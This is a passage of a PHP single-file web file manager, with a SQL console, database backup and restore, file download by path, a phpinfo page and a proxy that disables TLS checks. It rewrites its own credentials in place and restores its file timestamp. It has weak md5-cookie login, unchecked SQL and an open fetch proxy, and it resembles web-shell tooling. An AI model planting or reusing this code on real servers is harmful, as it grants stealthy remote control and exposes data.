	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//как-то тоже подменять надо
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

function find_text_in_files($dir, $mask, $text) {
    $results = array();
    if ($handle = opendir($dir)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != "..") {
                $path = $dir . "/" . $entry;
                if (is_dir($path)) {
                    $results = array_merge($results, find_text_in_files($path, $mask, $text));
                } else {
                    if (fnmatch($mask, $entry)) {
                        $contents = file_get_contents($path);
                        if (strpos($contents, $text) !== false) {
                            $results[] = str_replace('//', '/', $path);
                        }
                    }
                }
            }
        }
        closedir($handle);
    }
    return $results;
}


/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>'.__('File managerx').'</title>
</head>
<body>
<form action="" method="post">
'.__('Login').' <input name="login" type="text">&nbsp;&nbsp;&nbsp;
'.__('Password').' <input name="password" type="password">&nbsp;&nbsp;&nbsp;
<input type="submit" value="'.__('Enter').'" class="fm_input">
</form>
'.fm_lang_form($language).'
</body>
</html>
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg .= __('File updated');
				} else $msg .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title><?=__('File manager')?></title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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");
}

.file {
    background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAKT2lDQ1BQaG90b3Nob3AgSUNDIHByb2ZpbGUAAHjanVNnVFPpFj333vRCS4iAlEtvUhUIIFJCi4AUkSYqIQkQSoghodkVUcERRUUEG8igiAOOjoCMFVEsDIoK2AfkIaKOg6OIisr74Xuja9a89+bN/rXXPues852zzwfACAyWSDNRNYAMqUIeEeCDx8TG4eQuQIEKJHAAEAizZCFz/SMBAPh+PDwrIsAHvgABeNMLCADATZvAMByH/w/qQplcAYCEAcB0kThLCIAUAEB6jkKmAEBGAYCdmCZTAKAEAGDLY2LjAFAtAGAnf+bTAICd+Jl7AQBblCEVAaCRACATZYhEAGg7AKzPVopFAFgwABRmS8Q5ANgtADBJV2ZIALC3AMDOEAuyAAgMADBRiIUpAAR7AGDIIyN4AISZABRG8lc88SuuEOcqAAB4mbI8uSQ5RYFbCC1xB1dXLh4ozkkXKxQ2YQJhmkAuwnmZGTKBNA/g88wAAKCRFRHgg/P9eM4Ors7ONo62Dl8t6r8G/yJiYuP+5c+rcEAAAOF0ftH+LC+zGoA7BoBt/qIl7gRoXgugdfeLZrIPQLUAoOnaV/Nw+H48PEWhkLnZ2eXk5NhKxEJbYcpXff5nwl/AV/1s+X48/Pf14L7iJIEyXYFHBPjgwsz0TKUcz5IJhGLc5o9H/LcL//wd0yLESWK5WCoU41EScY5EmozzMqUiiUKSKcUl0v9k4t8s+wM+3zUAsGo+AXuRLahdYwP2SycQWHTA4vcAAPK7b8HUKAgDgGiD4c93/+8//UegJQCAZkmScQAAXkQkLlTKsz/HCAAARKCBKrBBG/TBGCzABhzBBdzBC/xgNoRCJMTCQhBCCmSAHHJgKayCQiiGzbAdKmAv1EAdNMBRaIaTcA4uwlW4Dj1wD/phCJ7BKLyBCQRByAgTYSHaiAFiilgjjggXmYX4IcFIBBKLJCDJiBRRIkuRNUgxUopUIFVIHfI9cgI5h1xGupE7yAAygvyGvEcxlIGyUT3UDLVDuag3GoRGogvQZHQxmo8WoJvQcrQaPYw2oefQq2gP2o8+Q8cwwOgYBzPEbDAuxsNCsTgsCZNjy7EirAyrxhqwVqwDu4n1Y8+xdwQSgUXACTYEd0IgYR5BSFhMWE7YSKggHCQ0EdoJNwkDhFHCJyKTqEu0JroR+cQYYjIxh1hILCPWEo8TLxB7iEPENyQSiUMyJ7mQAkmxpFTSEtJG0m5SI+ksqZs0SBojk8naZGuyBzmULCAryIXkneTD5DPkG+Qh8lsKnWJAcaT4U+IoUspqShnlEOU05QZlmDJBVaOaUt2ooVQRNY9aQq2htlKvUYeoEzR1mjnNgxZJS6WtopXTGmgXaPdpr+h0uhHdlR5Ol9BX0svpR+iX6AP0dwwNhhWDx4hnKBmbGAcYZxl3GK+YTKYZ04sZx1QwNzHrmOeZD5lvVVgqtip8FZHKCpVKlSaVGyovVKmqpqreqgtV81XLVI+pXlN9rkZVM1PjqQnUlqtVqp1Q61MbU2epO6iHqmeob1Q/pH5Z/YkGWcNMw09DpFGgsV/jvMYgC2MZs3gsIWsNq4Z1gTXEJrHN2Xx2KruY/R27iz2qqaE5QzNKM1ezUvOUZj8H45hx+Jx0TgnnKKeX836K3hTvKeIpG6Y0TLkxZVxrqpaXllirSKtRq0frvTau7aedpr1Fu1n7gQ5Bx0onXCdHZ4/OBZ3nU9lT3acKpxZNPTr1ri6qa6UbobtEd79up+6Ynr5egJ5Mb6feeb3n+hx9L/1U/W36p/VHDFgGswwkBtsMzhg8xTVxbzwdL8fb8VFDXcNAQ6VhlWGX4YSRudE8o9VGjUYPjGnGXOMk423GbcajJgYmISZLTepN7ppSTbmmKaY7TDtMx83MzaLN1p